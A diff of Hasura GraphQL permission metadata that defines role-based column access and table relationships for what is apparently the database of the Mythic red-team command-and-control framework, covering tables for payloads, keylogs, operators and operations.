+ schema: public
+ name: filemeta_full_remote_path
+ comment: convert bytea full_remote_path to text
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - agent_file_id
+ - total_chunks
+ - chunks_received
+ - chunk_size
+ - task_id
+ - complete
+ - path
+ - full_remote_path
+ - host
+ - is_payload
+ - is_screenshot
+ - is_download_from_agent
+ - file_browser_id
+ - filename
+ - delete_after_fetch
+ - operation_id
+ - timestamp
+ - deleted
+ - operator_id
+ - md5
+ - sha1
+ computed_fields:
+ - filename_text
+ - full_remote_path_text
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - id
+ - agent_file_id
+ - total_chunks
+ - chunks_received
+ - chunk_size
+ - task_id
+ - complete
+ - path
+ - full_remote_path
+ - host
+ - is_payload
+ - is_screenshot
+ - is_download_from_agent
+ - file_browser_id
+ - filename
+ - delete_after_fetch
+ - operation_id
+ - timestamp
+ - deleted
+ - operator_id
+ - md5
+ - sha1
+ computed_fields:
+ - filename_text
+ - full_remote_path_text
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - id
+ - agent_file_id
+ - total_chunks
+ - chunks_received
+ - chunk_size
+ - task_id
+ - complete
+ - path
+ - full_remote_path
+ - host
+ - is_payload
+ - is_screenshot
+ - is_download_from_agent
+ - file_browser_id
+ - filename
+ - delete_after_fetch
+ - operation_id
+ - timestamp
+ - deleted
+ - operator_id
+ - md5
+ - sha1
+ computed_fields:
+ - filename_text
+ - full_remote_path_text
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - id
+ - agent_file_id
+ - total_chunks
+ - chunks_received
+ - chunk_size
+ - task_id
+ - complete
+ - path
+ - full_remote_path
+ - host
+ - is_payload
+ - is_screenshot
+ - is_download_from_agent
+ - file_browser_id
+ - filename
+ - delete_after_fetch
+ - operation_id
+ - timestamp
+ - deleted
+ - operator_id
+ - md5
+ - sha1
+ computed_fields:
+ - filename_text
+ - full_remote_path_text
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - id
+ - agent_file_id
+ - total_chunks
+ - chunks_received
+ - chunk_size
+ - task_id
+ - complete
+ - path
+ - full_remote_path
+ - host
+ - is_payload
+ - is_screenshot
+ - is_download_from_agent
+ - file_browser_id
+ - filename
+ - delete_after_fetch
+ - operation_id
+ - timestamp
+ - deleted
+ - operator_id
+ - md5
+ - sha1
+ computed_fields:
+ - filename_text
+ - full_remote_path_text
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ update_permissions:
+ - role: developer
+ permission:
+ columns:
+ - deleted
+ - filename
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ check:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - deleted
+ - filename
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ check:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - deleted
+ - filename
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ check:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - deleted
+ - filename
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ check:
+ operation_id:
+ _in: X-Hasura-operations
+- table:
+ schema: public
+ name: keylog
+ object_relationships:
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - task_id
+ - keystrokes
+ - window
+ - timestamp
+ - operation_id
+ - user
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - keystrokes
+ - id
+ - operation_id
+ - task_id
+ - user
+ - window
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - keystrokes
+ - id
+ - operation_id
+ - task_id
+ - user
+ - window
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - keystrokes
+ - id
+ - operation_id
+ - task_id
+ - user
+ - window
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - keystrokes
+ - id
+ - operation_id
+ - task_id
+ - user
+ - window
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+- table:
+ schema: public
+ name: loadedcommands
+ object_relationships:
+ - name: callback
+ using:
+ foreign_key_constraint_on: callback_id
+ - name: command
+ using:
+ foreign_key_constraint_on: command_id
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - command_id
+ - callback_id
+ - operator_id
+ - timestamp
+ - version
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - callback_id
+ - command_id
+ - id
+ - operator_id
+ - version
+ - timestamp
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - callback_id
+ - command_id
+ - id
+ - operator_id
+ - version
+ - timestamp
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - callback_id
+ - command_id
+ - id
+ - operator_id
+ - version
+ - timestamp
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - callback_id
+ - command_id
+ - id
+ - operator_id
+ - version
+ - timestamp
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+- table:
+ schema: public
+ name: logonsession
+ object_relationships:
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+ array_relationships:
+ - name: authenticationpackages
+ using:
+ foreign_key_constraint_on:
+ column: LogonSession_id
+ table:
+ schema: public
+ name: authenticationpackage
+ - name: tokens
+ using:
+ foreign_key_constraint_on:
+ column: AuthenticationId_id
+ table:
+ schema: public
+ name: token
+- table:
+ schema: public
+ name: operation
+ object_relationships:
+ - name: admin
+ using:
+ foreign_key_constraint_on: admin_id
+ array_relationships:
+ - name: browserscriptoperations
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: browserscriptoperation
+ - name: c2profileparametersinstances
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: c2profileparametersinstance
+ - name: callbackgraphedges
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: callbackgraphedge
+ - name: callbacks
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: callback
+ - name: credentials
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: credential
+ - name: disabledcommands
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: disabledcommands
+ - name: filebrowserobjs
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: filebrowserobj
+ - name: filemeta
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: filemeta
+ - name: keylogs
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: keylog
+ - name: operationeventlogs
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: operationeventlog
+ - name: operatoroperations
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: operatoroperation
+ - name: operators
+ using:
+ foreign_key_constraint_on:
+ column: current_operation_id
+ table:
+ schema: public
+ name: operator
+ - name: payloadonhosts
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: payloadonhost
+ - name: payloads
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: payload
+ - name: processes
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: process
+ - name: taskartifacts
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: taskartifact
+ - name: tasktags
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: tasktag
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - name
+ - admin_id
+ - complete
+ - webhook
+ - channel
+ - display_name
+ - icon_emoji
+ - icon_url
+ - webhook_message
+ filter:
+ id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - complete
+ - admin_id
+ - id
+ - channel
+ - display_name
+ - icon_emoji
+ - icon_url
+ - name
+ - webhook
+ - webhook_message
+ filter:
+ id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - complete
+ - admin_id
+ - id
+ - channel
+ - display_name
+ - icon_emoji
+ - icon_url
+ - name
+ - webhook
+ - webhook_message
+ filter:
+ id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - complete
+ - admin_id
+ - id
+ - channel
+ - display_name
+ - icon_emoji
+ - icon_url
+ - name
+ - webhook
+ - webhook_message
+ filter:
+ id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - complete
+ - admin_id
+ - id
+ - channel
+ - display_name
+ - icon_emoji
+ - icon_url
+ - name
+ - webhook
+ - webhook_message
+ filter:
+ id:
+ _in: X-Hasura-operations
+- table:
+ schema: public
+ name: operationeventlog
+ object_relationships:
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+ insert_permissions:
+ - role: developer
+ permission:
+ check:
+ operation_id:
+ _in: x-hasura-operations
+ set:
+ operator_id: x-hasura-user-id
+ operation_id: x-hasura-current-operation-id
+ columns:
+ - deleted
+ - level
+ - message
+ - operation_id
+ - operator_id
+ - resolved
+ backend_only: false
+ - role: mythic_admin
+ permission:
+ check:
+ operation_id:
+ _in: x-hasura-operations
+ set:
+ operator_id: x-hasura-user-id
+ operation_id: x-hasura-current-operation-id
+ columns:
+ - deleted
+ - level
+ - message
+ - operation_id
+ - operator_id
+ - resolved
+ backend_only: false
+ - role: operation_admin
+ permission:
+ check:
+ operation_id:
+ _in: x-hasura-operations
+ set:
+ operator_id: x-hasura-user-id
+ operation_id: x-hasura-current-operation-id
+ columns:
+ - deleted
+ - level
+ - message
+ - operation_id
+ - operator_id
+ - resolved
+ backend_only: false
+ - role: operator
+ permission:
+ check:
+ operation_id:
+ _in: x-hasura-operations
+ set:
+ operator_id: x-hasura-user-id
+ operation_id: x-hasura-current-operation-id
+ columns:
+ - deleted
+ - level
+ - message
+ - operation_id
+ - operator_id
+ - resolved
+ backend_only: false
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - count
+ - deleted
+ - id
+ - level
+ - message
+ - operation_id
+ - operator_id
+ - resolved
+ - source
+ - timestamp
+ filter:
+ operation_id:
+ _in:
+ - x-hasura-operations
+ allow_aggregations: true
+ - role: mythic_admin
+ permission:
+ columns:
+ - deleted
+ - resolved
+ - count
+ - id
+ - operation_id
+ - operator_id
+ - level
+ - message
+ - source
+ - timestamp
+ filter:
+ operation_id:
+ _in: x-hasura-operations
+ allow_aggregations: true
+ - role: operation_admin
+ permission:
+ columns:
+ - deleted
+ - resolved
+ - count
+ - id
+ - operation_id
+ - operator_id
+ - level
+ - message
+ - source
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ allow_aggregations: true
+ - role: operator
+ permission:
+ columns:
+ - deleted
+ - resolved
+ - count
+ - id
+ - operation_id
+ - operator_id
+ - level
+ - message
+ - source
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ allow_aggregations: true
+ - role: spectator
+ permission:
+ columns:
+ - deleted
+ - resolved
+ - count
+ - id
+ - operation_id
+ - operator_id
+ - level
+ - message
+ - source
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ allow_aggregations: true
+ update_permissions:
+ - role: developer
+ permission:
+ columns:
+ - deleted
+ - level
+ - resolved
+ filter:
+ operation_id:
+ _in: x-hasura-operations
+ check: null
+ - role: mythic_admin
+ permission:
+ columns:
+ - deleted
+ - level
+ - resolved
+ filter:
+ operation_id:
+ _in: x-hasura-operations
+ check: null
+ - role: operation_admin
+ permission:
+ columns:
+ - deleted
+ - level
+ - resolved
+ filter:
+ operation_id:
+ _in: x-hasura-operations
+ check: null
+ - role: operator
+ permission:
+ columns:
+ - deleted
+ - level
+ - resolved
+ filter:
+ operation_id:
+ _in: x-hasura-operations
+ check: null
+- table:
+ schema: public
+ name: operator
+ object_relationships:
+ - name: operation
+ using:
+ foreign_key_constraint_on: current_operation_id
+ array_relationships:
+ - name: apitokens
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: apitokens
+ - name: browserscripts
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: browserscript
+ - name: callbacks
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: callback
+ - name: callbacksByLockedOperatorId
+ using:
+ foreign_key_constraint_on:
+ column: locked_operator_id
+ table:
+ schema: public
+ name: callback
+ - name: credentials
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: credential
+ - name: disabledcommands
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: disabledcommands
+ - name: filemeta
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: filemeta
+ - name: loadedcommands
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: loadedcommands
+ - name: operationeventlogs
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: operationeventlog
+ - name: operations
+ using:
+ foreign_key_constraint_on:
+ column: admin_id
+ table:
+ schema: public
+ name: operation
+ - name: operatoroperations
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: operatoroperation
+ - name: payloads
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: payload
+ - name: tasks
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: task
+ - name: tasksByCommentOperatorId
+ using:
+ foreign_key_constraint_on:
+ column: comment_operator_id
+ table:
+ schema: public
+ name: task
+ - name: tasksByOpsecPostBypassUserId
+ using:
+ foreign_key_constraint_on:
+ column: opsec_post_bypass_user_id
+ table:
+ schema: public
+ name: task
+ - name: tasksByOpsecPreBypassUserId
+ using:
+ foreign_key_constraint_on:
+ column: opsec_pre_bypass_user_id
+ table:
+ schema: public
+ name: task
+ select_permissions:
+ - role: mythic_admin
+ permission:
+ columns:
+ - active
+ - admin
+ - creation_time
+ - current_operation_id
+ - deleted
+ - id
+ - last_login
+ - username
+ - view_utc_time
+ filter: {}
+ - role: operation_admin
+ permission:
+ columns:
+ - active
+ - admin
+ - creation_time
+ - deleted
+ - id
+ - last_login
+ - username
+ - view_utc_time
+ filter: {}
+ - role: operator
+ permission:
+ columns:
+ - active
+ - admin
+ - creation_time
+ - deleted
+ - id
+ - last_login
+ - username
+ - view_utc_time
+ filter: {}
+ - role: spectator
+ permission:
+ columns:
+ - active
+ - admin
+ - creation_time
+ - deleted
+ - id
+ - last_login
+ - username
+ - view_utc_time
+ filter: {}
+ update_permissions:
+ - role: mythic_admin
+ permission:
+ columns:
+ - active
+ - admin
+ - deleted
+ - password
+ - username
+ - view_utc_time
+ filter: {}
+ check: null
+ - role: operation_admin
+ permission:
+ columns:
+ - current_operation_id
+ - password
+ - ui_config
+ - username
+ - view_utc_time
+ filter:
+ id:
+ _eq: X-Hasura-User-Id
+ check: null
+ - role: operator
+ permission:
+ columns:
+ - current_operation_id
+ - username
+ - view_utc_time
+ filter:
+ id:
+ _eq: X-Hasura-User-Id
+ check: null
+ - role: spectator
+ permission:
+ columns:
+ - current_operation_id
+ - username
+ - view_utc_time
+ filter:
+ id:
+ _eq: X-Hasura-User-Id
+ check: null
+- table:
+ schema: public
+ name: operatoroperation
+ object_relationships:
+ - name: disabledcommandsprofile
+ using:
+ foreign_key_constraint_on: base_disabled_commands_id
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - operator_id
+ - operation_id
+ - timestamp
+ - base_disabled_commands_id
+ - view_mode
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - base_disabled_commands_id
+ - id
+ - operation_id
+ - operator_id
+ - view_mode
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - base_disabled_commands_id
+ - id
+ - operation_id
+ - operator_id
+ - view_mode
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - base_disabled_commands_id
+ - id
+ - operation_id
+ - operator_id
+ - view_mode
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - base_disabled_commands_id
+ - id
+ - operation_id
+ - operator_id
+ - view_mode
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+- table:
+ schema: public
+ name: payload
+ object_relationships:
+ - name: filemetum
+ using:
+ foreign_key_constraint_on: file_id
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+ - name: payload
+ using:
+ foreign_key_constraint_on: wrapped_payload_id
+ - name: payloadtype
+ using:
+ foreign_key_constraint_on: payload_type_id
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+ array_relationships:
+ - name: buildparameterinstances
+ using:
+ foreign_key_constraint_on:
+ column: payload_id
+ table:
+ schema: public
+ name: buildparameterinstance
+ - name: c2profileparametersinstances
+ using:
+ foreign_key_constraint_on:
+ column: payload_id
+ table:
+ schema: public
+ name: c2profileparametersinstance
+ - name: callbacks
+ using:
+ foreign_key_constraint_on:
+ column: registered_payload_id
+ table:
+ schema: public
+ name: callback
+ - name: payloadc2profiles
+ using:
+ foreign_key_constraint_on:
+ column: payload_id
+ table:
+ schema: public
+ name: payloadc2profiles
+ - name: payloadcommands
+ using:
+ foreign_key_constraint_on:
+ column: payload_id
+ table:
+ schema: public
+ name: payloadcommand
+ - name: payloadonhosts
+ using:
+ foreign_key_constraint_on:
+ column: payload_id
+ table:
+ schema: public
+ name: payloadonhost
+ - name: payloads
+ using:
+ foreign_key_constraint_on:
+ column: wrapped_payload_id
+ table:
+ schema: public
+ name: payload
+ - name: staginginfos
+ using:
+ foreign_key_constraint_on:
+ column: payload_id
+ table:
+ schema: public
+ name: staginginfo
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - auto_generated
+ - build_container
+ - build_message
+ - build_phase
+ - build_stderr
+ - build_stdout
+ - callback_alert
+ - creation_time
+ - deleted
+ - file_id
+ - id
+ - operation_id
+ - operator_id
+ - os
+ - payload_type_id
+ - tag
+ - task_id
+ - uuid
+ - wrapped_payload_id
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - auto_generated
+ - build_container
+ - build_message
+ - build_phase
+ - build_stderr
+ - build_stdout
+ - callback_alert
+ - creation_time
+ - deleted
+ - file_id
+ - id
+ - operation_id
+ - operator_id
+ - os
+ - payload_type_id
+ - tag
+ - task_id
+ - uuid
+ - wrapped_payload_id
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - auto_generated
+ - build_container
+ - build_message
+ - build_phase
+ - build_stderr
+ - build_stdout
+ - callback_alert
+ - creation_time
+ - deleted
+ - file_id
+ - id
+ - operation_id
+ - operator_id
+ - os
+ - payload_type_id
+ - tag
+ - task_id
+ - uuid
+ - wrapped_payload_id
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - auto_generated
+ - build_container
+ - build_message
+ - build_phase
+ - build_stderr
+ - build_stdout
+ - callback_alert
+ - creation_time
+ - deleted
+ - file_id
+ - id
+ - operation_id
+ - operator_id
+ - os
+ - payload_type_id
+ - tag
+ - task_id
+ - uuid
+ - wrapped_payload_id
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - auto_generated
+ - build_container
+ - build_message
+ - build_phase
+ - build_stderr
+ - build_stdout
+ - callback_alert
+ - creation_time
+ - deleted
+ - file_id
+ - id
+ - operation_id
+ - operator_id
+ - os
+ - payload_type_id
+ - tag
+ - task_id
+ - uuid
+ - wrapped_payload_id
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ update_permissions:
+ - role: developer
+ permission:
+ columns:
+ - callback_alert
+ - deleted
+ - tag
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ check: null
+ - role: mythic_admin
+ permission:
+ columns:
+ - callback_alert
+ - deleted
+ - tag
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ check: null
+ - role: operation_admin
+ permission:
+ columns:
+ - callback_alert
+ - deleted
+ - tag
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ check: null
+ - role: operator
+ permission:
+ columns:
+ - callback_alert
+ - deleted
+ - tag
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ check: null
+- table:
+ schema: public
+ name: payloadc2profiles
+ object_relationships:
+ - name: c2profile
+ using:
+ foreign_key_constraint_on: c2_profile_id
+ - name: payload
+ using:
+ foreign_key_constraint_on: payload_id
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - payload_id
+ - c2_profile_id
+ filter:
+ payload:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - c2_profile_id
+ - id
+ - payload_id
+ filter:
+ payload:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - c2_profile_id
+ - id
+ - payload_id
+ filter:
+ payload:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - c2_profile_id
+ - id
+ - payload_id
+ filter:
+ payload:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - c2_profile_id
+ - id
+ - payload_id
+ filter:
+ payload:
+ operation_id:
+ _in: X-Hasura-operations
+- table:
+ schema: public
+ name: payloadcommand
+ object_relationships:
+ - name: command
+ using:
+ foreign_key_constraint_on: command_id
+ - name: payload
+ using:
+ foreign_key_constraint_on: payload_id
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - payload_id
+ - command_id
+ - creation_time
+ - version
+ filter:
+ payload:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - command_id
+ - id
+ - payload_id
+ - version
+ - creation_time
+ filter:
+ payload:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - command_id
+ - id
+ - payload_id
+ - version
+ - creation_time
+ filter:
+ payload:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - command_id
+ - id
+ - payload_id
+ - version
+ - creation_time
+ filter:
+ payload:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - command_id
+ - id
+ - payload_id
+ - version
+ - creation_time
+ filter:
+ payload:
+ operation_id:
+ _in: X-Hasura-operations
+- table:
+ schema: public
+ name: payloadonhost
+ object_relationships:
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: payload
+ using:
+ foreign_key_constraint_on: payload_id
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+ insert_permissions:
+ - role: developer
+ permission:
+ check:
+ operation_id:
+ _in: X-Hasura-operations
+ set:
+ operation_id: x-hasura-current-operation-id
+ columns:
+ - host
+ - payload_id
+ backend_only: false
+ - role: mythic_admin
+ permission:
+ check:
+ operation_id:
+ _in: X-Hasura-operations
+ set:
+ operation_id: x-hasura-current-operation-id
+ columns:
+ - host
+ - payload_id
+ backend_only: false
+ - role: operation_admin
+ permission:
+ check:
+ operation_id:
+ _in: X-Hasura-operations
+ set:
+ operation_id: x-hasura-current-operation-id
+ columns:
+ - host
+ - payload_id
+ backend_only: false
+ - role: operator
+ permission:
+ check:
+ operation_id:
+ _in: X-Hasura-operations
+ set:
+ operation_id: x-hasura-current-operation-id
+ columns:
+ - host
+ - payload_id
+ backend_only: false
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - host
+ - payload_id
+ - deleted
+ - operation_id
+ - timestamp
+ - task_id
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - id
+ - host
+ - payload_id
+ - deleted
+ - operation_id
+ - timestamp
+ - task_id
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - id
+ - host
+ - payload_id
+ - deleted
+ - operation_id
+ - timestamp
+ - task_id
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - id
+ - host
+ - payload_id
+ - deleted
+ - operation_id
+ - timestamp
+ - task_id
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - id
+ - host
+ - payload_id
+ - deleted
+ - operation_id
+ - timestamp
+ - task_id
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ update_permissions:
+ - role: developer
+ permission:
+ columns:
+ - deleted
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ check: null
+ - role: mythic_admin
+ permission:
+ columns:
+ - deleted
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ check: null
+ - role: operation_admin
+ permission:
+ columns:
+ - deleted
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ check: null
+ - role: operator
+ permission:
+ columns:
+ - deleted
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ check: null
+- table:
+ schema: public
+ name: payloadtype
+ object_relationships:
+ - name: translationcontainer
+ using:
+ foreign_key_constraint_on: translation_container_id
+ array_relationships:
+ - name: browserscripts
+ using:
+ foreign_key_constraint_on:
+ column: payload_type_id
+ table:
+ schema: public
+ name: browserscript
+ - name: buildparameters
+ using:
+ foreign_key_constraint_on:
+ column: payload_type_id
+ table:
+ schema: public
+ name: buildparameter
+ - name: commands
+ using:
+ foreign_key_constraint_on:
+ column: payload_type_id
+ table:
+ schema: public
+ name: command
+ - name: payloads
+ using:
+ foreign_key_constraint_on:
+ column: payload_type_id
+ table:
+ schema: public
+ name: payload
+ - name: payloadtypec2profiles
+ using:
+ foreign_key_constraint_on:
+ column: payload_type_id
+ table:
+ schema: public
+ name: payloadtypec2profile
+ - name: wrappedpayloadtypes
+ using:
+ foreign_key_constraint_on:
+ column: wrapper_id
+ table:
+ schema: public
+ name: wrappedpayloadtypes
+ - name: wrappedpayloadtypesByWrappedId
+ using:
+ foreign_key_constraint_on:
+ column: wrapped_id
+ table:
+ schema: public
+ name: wrappedpayloadtypes
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - author
+ - container_running
+ - creation_time
+ - deleted
+ - file_extension
+ - id
+ - last_heartbeat
+ - mythic_encrypts
+ - note
+ - ptype
+ - service
+ - supported_os
+ - supports_dynamic_loading
+ - translation_container_id
+ - wrapper
+ filter: {}
+ - role: mythic_admin
+ permission:
+ columns:
+ - author
+ - container_running
+ - creation_time
+ - deleted
+ - file_extension
+ - id
+ - last_heartbeat
+ - mythic_encrypts
+ - note
+ - ptype
+ - service
+ - supported_os
+ - supports_dynamic_loading
+ - translation_container_id
+ - wrapper
+ filter: {}
+ - role: operation_admin
+ permission:
+ columns:
+ - author
+ - container_running
+ - creation_time
+ - deleted
+ - file_extension
+ - id
+ - last_heartbeat
+ - mythic_encrypts
+ - note
+ - ptype
+ - service
+ - supported_os
+ - supports_dynamic_loading
+ - translation_container_id
+ - wrapper
+ filter: {}
+ - role: operator
+ permission:
+ columns:
+ - author
+ - container_running
+ - creation_time
+ - deleted
+ - file_extension
+ - id
+ - last_heartbeat
+ - mythic_encrypts
+ - note
+ - ptype
+ - service
+ - supported_os
+ - supports_dynamic_loading
+ - translation_container_id
+ - wrapper
+ filter: {}
+ - role: spectator
+ permission:
+ columns:
+ - author
+ - container_running
+ - creation_time
+ - deleted
+ - file_extension
+ - id
+ - last_heartbeat
+ - mythic_encrypts
+ - note
+ - ptype
+ - service
+ - supported_os
+ - supports_dynamic_loading
+ - translation_container_id
+ - wrapper
+ filter: {}
+- table:
+ schema: public
+ name: payloadtypec2profile
+ object_relationships:
+ - name: c2profile
+ using:
+ foreign_key_constraint_on: c2_profile_id
+ - name: payloadtype
+ using:
+ foreign_key_constraint_on: payload_type_id
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - payload_type_id
+ - c2_profile_id
+ filter: {}
+ - role: mythic_admin
+ permission:
+ columns:
+ - c2_profile_id
+ - id
+ - payload_type_id
+ filter: {}
+ - role: operation_admin
+ permission:
+ columns:
+ - c2_profile_id
+ - id
+ - payload_type_id
+ filter: {}
+ - role: operator
+ permission:
+ columns:
+ - c2_profile_id
+ - id
+ - payload_type_id
+ filter: {}
